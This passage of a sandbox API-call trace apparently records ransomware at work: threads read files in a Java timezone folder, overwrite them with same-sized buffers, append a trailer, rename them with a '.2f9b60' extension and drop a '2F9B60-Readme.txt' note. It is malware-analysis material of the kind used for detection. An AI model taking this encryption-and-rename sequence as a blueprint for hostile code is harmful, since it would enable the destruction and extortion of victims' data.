BaseAddress=0x202a8e30) returned 1 [0153.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1700 [0153.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867c40 [0153.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42752670 [0153.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42756280 [0153.938] ReadFile (in: hFile=0x1388, lpBuffer=0x42752670, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2a5ff570, lpOverlapped=0x0 | out: lpBuffer=0x42752670*, lpNumberOfBytesRead=0x2a5ff570*=0x430, lpOverlapped=0x0) returned 1 [0153.938] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.938] WriteFile (in: hFile=0x1388, lpBuffer=0x42756280*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2a5ff574, lpOverlapped=0x0 | out: lpBuffer=0x42756280*, lpNumberOfBytesWritten=0x2a5ff574*=0x430, lpOverlapped=0x0) returned 1 [0161.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a60b0 [0161.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a60e0 [0161.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a60e0) returned 1 [0161.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42756280) returned 1 [0161.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42752670) returned 1 [0161.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0161.875] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1700) returned 1 [0161.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0161.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1700 [0161.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867c40 [0161.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a60e0 [0161.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a60e0) returned 1 [0161.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d020 [0161.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a60e0 [0161.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6110 [0161.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6110) returned 1 [0161.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0161.877] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1700) returned 1 [0161.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b772eb0 [0161.877] SetFilePointerEx (in: hFile=0x1388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.877] WriteFile (in: hFile=0x1388, lpBuffer=0x1b772eb0*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2a5ff690, lpOverlapped=0x0 | out: lpBuffer=0x1b772eb0*, lpNumberOfBytesWritten=0x2a5ff690*=0xf8, lpOverlapped=0x0) returned 1 [0163.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38e0 [0163.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38e0) returned 1 [0163.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0163.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38e0 [0163.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f38b0 [0163.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38b0) returned 1 [0163.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x174b90 [0163.790] sprintf (in: _Dest=0x174b90, _Format="%c%c" | out: _Dest="ee") returned 2 [0163.790] sprintf (in: _Dest=0x174b92, _Format="%c%c" | out: _Dest="82") returned 2 [0163.790] sprintf (in: _Dest=0x174b94, _Format="%c%c" | out: _Dest="ab") returned 2 [0163.790] sprintf (in: _Dest=0x174b96, _Format="%c%c" | out: _Dest="1e") returned 2 [0163.790] sprintf (in: _Dest=0x174b98, _Format="%c%c" | out: _Dest="2a") returned 2 [0163.790] sprintf (in: _Dest=0x174b9a, _Format="%c%c" | out: _Dest="d1") returned 2 [0163.790] RtlInitAnsiString (in: DestinationString=0x2a5ff708, SourceString="ee82ab1e2ad1" | out: DestinationString="ee82ab1e2ad1") [0163.790] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a5ff6d8, SourceString="ee82ab1e2ad1", AllocateDestinationString=1 | out: DestinationString="ee82ab1e2ad1") returned 0x0 [0163.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x422f37f0 [0163.791] RtlFreeAnsiString (AnsiString="e") [0163.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0163.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0163.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f38e0) returned 1 [0163.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b772eb0) returned 1 [0163.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d020) returned 1 [0163.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a60e0) returned 1 [0163.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a60b0) returned 1 [0163.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f20) returned 1 [0163.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e00) returned 1 [0163.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265460) returned 1 [0163.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b857fe0 [0163.794] wcscat (in: _Dest=0x1b857fe0, _Source="ee8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ee8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ee8" [0163.794] wcscat (in: _Dest=0x1b857fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ee8.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ee8.2f9b60" [0163.794] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ee8.2f9b60", NtPathName=0x2a5ff6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\ee8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c22510 [0243.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22510) returned 1 [0243.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230bcc0) returned 1 [0243.950] NtQueryInformationFile (in: FileHandle=0x1388, IoStatusBlock=0x2a5ff718, FileInformation=0x2a5ff728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a5ff718, FileInformation=0x2a5ff728) returned 0x0 [0243.950] NtSetInformationFile (FileHandle=0x1388, IoStatusBlock=0x2a5ff718, FileInformation=0x2a5ff728, Length=0x28, FileInformationClass=0x4) Thread: id = 2457 os_tid = 0x1ed8 [0153.894] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est")) returned 0x20 [0153.895] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST", dwFileAttributes=0x20) returned 1 [0153.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1384 [0153.896] GetFileSizeEx (in: hFile=0x1384, lpFileSize=0x2aabf820 | out: lpFileSize=0x2aabf820*=27) returned 1 [0153.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053fd0 [0153.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8f20 [0153.897] NtQuerySystemTime (in: CurrentTime=0x2aabf6e0 | out: CurrentTime=0x2aabf6e0*=132462177590338000) returned 0x0 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x2882a875 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x6d097cd3 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x26d02784 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0xf2fde5b [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x107681cf [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x323faaed [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x11892d4d [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x1894586f [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0xf82620c [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0xff0a700 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x6ccbd023 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x24430b27 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x14c3cf68 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x4cde2b51 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x172c9e9c [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x6668cf65 [0153.897] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x2412ab87 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0xe78ea60 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x57bc3b53 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x738230a9 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x3d74f635 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x5d3af74 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x6ac66484 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x6c5efd6e [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x611441c1 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x76a36867 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x313ab8e1 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x5c5590b [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x1d20e343 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x69ebd476 [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x1c80ddad [0153.898] RtlRandomEx (in: Seed=0x2aabf6d0 | out: Seed=0x2aabf6d0) returned 0x7332bb19 [0153.908] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ef0 [0153.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0153.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0153.909] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0153.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8f20) returned 1 [0153.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0153.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0153.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4274ae50 [0153.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4274ea60 [0153.911] ReadFile (in: hFile=0x1384, lpBuffer=0x4274ae50, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2aabf6d0, lpOverlapped=0x0 | out: lpBuffer=0x4274ae50*, lpNumberOfBytesRead=0x2aabf6d0*=0x1b, lpOverlapped=0x0) returned 1 [0153.912] SetFilePointerEx (in: hFile=0x1384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.912] WriteFile (in: hFile=0x1384, lpBuffer=0x4274ea60*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x2aabf6d4, lpOverlapped=0x0 | out: lpBuffer=0x4274ea60*, lpNumberOfBytesWritten=0x2aabf6d4*=0x1b, lpOverlapped=0x0) returned 1 [0161.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5f90 [0161.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5fc0 [0161.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5fc0) returned 1 [0161.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4274ea60) returned 1 [0161.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4274ae50) returned 1 [0161.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0161.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0161.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x174b90 [0161.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0161.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0161.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5fc0 [0161.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5fc0) returned 1 [0161.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0161.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5fc0 [0161.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5ff0 [0161.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5ff0) returned 1 [0161.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0161.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0161.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xf8) returned 0x1b7731b0 [0161.866] SetFilePointerEx (in: hFile=0x1384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.866] WriteFile (in: hFile=0x1384, lpBuffer=0x1b7731b0*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2aabf7f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7731b0*, lpNumberOfBytesWritten=0x2aabf7f0*=0xf8, lpOverlapped=0x0) returned 1 [0163.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3850 [0163.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3850) returned 1 [0163.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6) returned 0x1b7d3400 [0163.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3850 [0163.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0163.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3820) returned 1 [0163.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd) returned 0x1b82d200 [0163.774] sprintf (in: _Dest=0x1b82d200, _Format="%c%c" | out: _Dest="15") returned 2 [0163.774] sprintf (in: _Dest=0x1b82d202, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.774] sprintf (in: _Dest=0x1b82d204, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.774] sprintf (in: _Dest=0x1b82d206, _Format="%c%c" | out: _Dest="be") returned 2 [0163.774] sprintf (in: _Dest=0x1b82d208, _Format="%c%c" | out: _Dest="5f") returned 2 [0163.774] sprintf (in: _Dest=0x1b82d20a, _Format="%c%c" | out: _Dest="ca") returned 2 [0163.774] RtlInitAnsiString (in: DestinationString=0x2aabf868, SourceString="15a0b8be5fca" | out: DestinationString="15a0b8be5fca") [0163.774] RtlAnsiStringToUnicodeString (in: DestinationString=0x2aabf838, SourceString="15a0b8be5fca", AllocateDestinationString=1 | out: DestinationString="15a0b8be5fca") returned 0x0 [0163.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x422f3760 [0163.775] RtlFreeAnsiString (AnsiString="1") [0163.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0163.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3850) returned 1 [0163.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7731b0) returned 1 [0163.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0163.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5fc0) returned 1 [0163.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0163.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5f90) returned 1 [0163.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053fd0) returned 1 [0163.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ef0) returned 1 [0163.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e90) returned 1 [0163.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced8ad0 [0163.778] wcscat (in: _Dest=0x1ced8ad0, _Source="15a" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\15a") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\15a" [0163.778] wcscat (in: _Dest=0x1ced8ad0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\15a.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\15a.2f9b60" [0163.778] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\15a.2f9b60", NtPathName=0x2aabf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\15a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x42c223f0 [0165.191] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c223f0) returned 1 [0165.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230b860) returned 1 [0165.194] NtQueryInformationFile (in: FileHandle=0x1384, IoStatusBlock=0x2aabf878, FileInformation=0x2aabf888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aabf878, FileInformation=0x2aabf888) returned 0x0 [0165.194] NtSetInformationFile (FileHandle=0x1384, IoStatusBlock=0x2aabf878, FileInformation=0x2aabf888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ad0) returned 1 [0166.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3760) returned 1 [0166.457] FlushFileBuffers (hFile=0x1384) returned 1 [0187.674] CloseHandle (hObject=0x1384) returned 1 [0199.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e410 [0199.634] wcscpy (in: _Dest=0x1b85e410, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\" [0199.634] wcscat (in: _Dest=0x1b85e410, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" [0199.634] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\2f9b60-readme.txt")) returned 0xffffffff [0208.181] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0238.138] WriteFile (in: hFile=0x484, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2aabf730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2aabf730*=0xba9, lpOverlapped=0x0) returned 1 [0240.611] CloseHandle (hObject=0x484) returned 1 [0243.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e410) returned 1 [0243.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86730) returned 1 Thread: id = 2458 os_tid = 0x1edc [0153.914] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est5edt")) returned 0x20 [0153.914] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT", dwFileAttributes=0x20) returned 1 [0153.915] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EST5EDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\est5edt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1380 [0153.916] GetFileSizeEx (in: hFile=0x1380, lpFileSize=0x2490fca0 | out: lpFileSize=0x2490fca0*=1272) returned 1 [0153.916] SetFilePointerEx (in: hFile=0x1380, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.916] ReadFile (in: hFile=0x1380, lpBuffer=0x2490fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2490fc68, lpOverlapped=0x0 | out: lpBuffer=0x2490fc20*, lpNumberOfBytesRead=0x2490fc68*=0x4, lpOverlapped=0x0) returned 1 [0153.939] SetFilePointerEx (in: hFile=0x1380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bd00 [0153.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e30 [0153.939] NtQuerySystemTime (in: CurrentTime=0x2490fb60 | out: CurrentTime=0x2490fb60*=132462177590650000) returned 0x0 [0153.939] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x31cc0f26 [0153.939] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x2520a65d [0153.939] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x67bd636f [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0xe114e10 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x24cb7c2d [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x7b63eaf4 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x5161ae90 